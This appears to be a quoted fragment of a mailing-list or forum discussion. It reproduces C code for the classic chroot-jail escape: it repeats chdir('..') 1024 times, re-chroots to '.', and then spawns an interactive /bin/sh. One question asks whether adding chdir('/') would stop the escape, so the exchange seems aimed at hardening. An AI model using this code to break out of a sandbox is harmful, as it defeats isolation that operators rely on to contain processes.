> if (chroot(TEMP_DIR)<0) { > fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR, > strerror(errno)); > exit(1); > } > If we put chdir("/") here would this escape still work? > for(x=0;x<1024;x++) { > chdir(".."); > } > chroot("."); > > if (execl("/bin/sh","-i",NULL)<0) { > fprintf(stderr,"Failed to exec - %s\n",strerror(errno)); > exit(1); > }